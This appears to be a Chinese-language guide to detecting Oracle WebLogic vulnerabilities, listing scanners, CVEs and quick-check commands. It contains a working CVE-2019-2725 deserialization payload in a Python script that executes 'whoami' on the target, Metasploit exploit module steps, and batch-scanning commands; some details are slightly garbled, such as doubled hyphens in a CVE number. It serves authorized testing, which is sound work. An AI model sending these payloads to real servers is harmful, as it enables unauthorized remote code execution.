🔍 常用检测工具
| 工具 | 类型 | 说明 |
|---|---|---|
| WebLogicScanner | 专用扫描器 | 专注 WebLogic 漏洞检测 |
| Nuclei | 漏洞扫描框架 | 支持 WebLogic 多种漏洞模板 |
| Burp Suite | 综合渗透测试 | 通过插件检测 WebLogic |
| AWVS | Web 漏洞扫描 | 含 WebLogic 检测模块 |
| Metasploit | 渗透框架 | 有多个 WebLogic exploit 模块 |
| Python 脚本 | 自定义脚本 | 根据 CVE 编写检测脚本 |
🛠️ 具体工具介绍
1. WebLogicScanner(推荐)
# Go 编写的 WebLogic 专用漏洞扫描器
# 支持 CVE-2019-2725, CVE-2020-2551, CVE-2020-14882 等
git clone https://github.com/0xn0ne/WebLogicScanner
cd WebLogicScanner
python webligic_scanner.py -h 目标IP -p 端口
2. Nuclei(推荐)
# 安装
nuclei -update
# 使用 WebLogic 漏洞模板扫描
nuclei -u https://target:7001 -t weblogic/
# 或指定 CVE
nuclei -u https://target:7001 -t cves/2020/CVE-2020-2551.yaml
3. Python 手工检测脚本
import requests
def check_weblogic_cve_2019_2725(url):
"""CVE-2019-2725 检测"""
paths = [
"/_async/AsyncResponseService",
"/wls-wsat/CoordinatorPortType"
]
headers = {
"Content-Type": "text/xml",
"SOAPAction": ""
}
payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>whoami</string></void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body></soapenv:Body>
</soapenv:Envelope>'''
for path in paths:
try:
r = requests.post(url + path, data=payload, headers=headers, timeout=5, verify=False)
if r.status_code == 200 or "weblogic" in r.text.lower():
print(f"[+] {url}{path} 可能存在漏洞")
except:
pass
# 使用
check_weblogic_cve_2019_2725("http://target:7001")
4. Metasploit 模块
# MSF 控制台
msfconsole
# 搜索 WebLogic 相关模块
search weblogic
# 使用某个模块
use exploit/multi/misc/weblogic_jsf_wldf_unserialize
set RHOSTS target_ip
set RPORT 7001
run
5. Burp Suite 专业版
- 使用 WebLogic Scanner 扩展(Burp Suite App Store)
-
或手动测试 CVE--2020-14882(未授权访问)
GET /console/login/LoginForm.jsp HTTP/1.1
Host: target:7001
📋 常见 WebLogic 漏洞清单
| CVE | 漏洞类型 | 影响版本 | 风险 |
|---|---|---|---|
| CVE--2020-14882 | 未授权命令执行 | 10.3.6 - 14.1 | 严重 |
| CVE-2019-2725 | 反序列化RCE | 10.3.6 - 12.1.3 | 严重 |
| CVE-2020-2551 | IIOP 反序列化 | 12.1.3 - 12.2.1 | 高 |
| CVE-2018-2628 | T3 反序列化 | 10.3.6 - 12.2.1 | 高 |
| CVE-2017-3506 | XML Decoder | 10.3.6 - 12.1.3 | 高 |
| CVE-2023-21839 | JNDI 注入 RCE | 12.2.1 - 14.1 | 严重 |
✅ 快速检测命令
# 1. 检测 WebLogic 控制台
curl -s http://target:7001/console/login/LoginForm.jsp | grep -i weblogic
# 2. 检测 T3 协议
echo "t3 9.9.9" | nc -nv target 7001
# 3. 使用 nuclei 批量扫描
nuclei -l targets.txt -t cves/ -o results.txt
# 4. Python 脚本批量检测
python -m pip install requests urllib3
# 使用上面提供的 Python 脚本
⚠️ 注意事项
-
授权检测 --- 确保你有授权再扫描
-
生产环境慎用 --- 部分检测脚本可能触发漏洞
-
及时打补丁 --- 发现漏洞后尽快修复或升级
-
关闭不需要的端口 --- 如 T3、IIOP 协议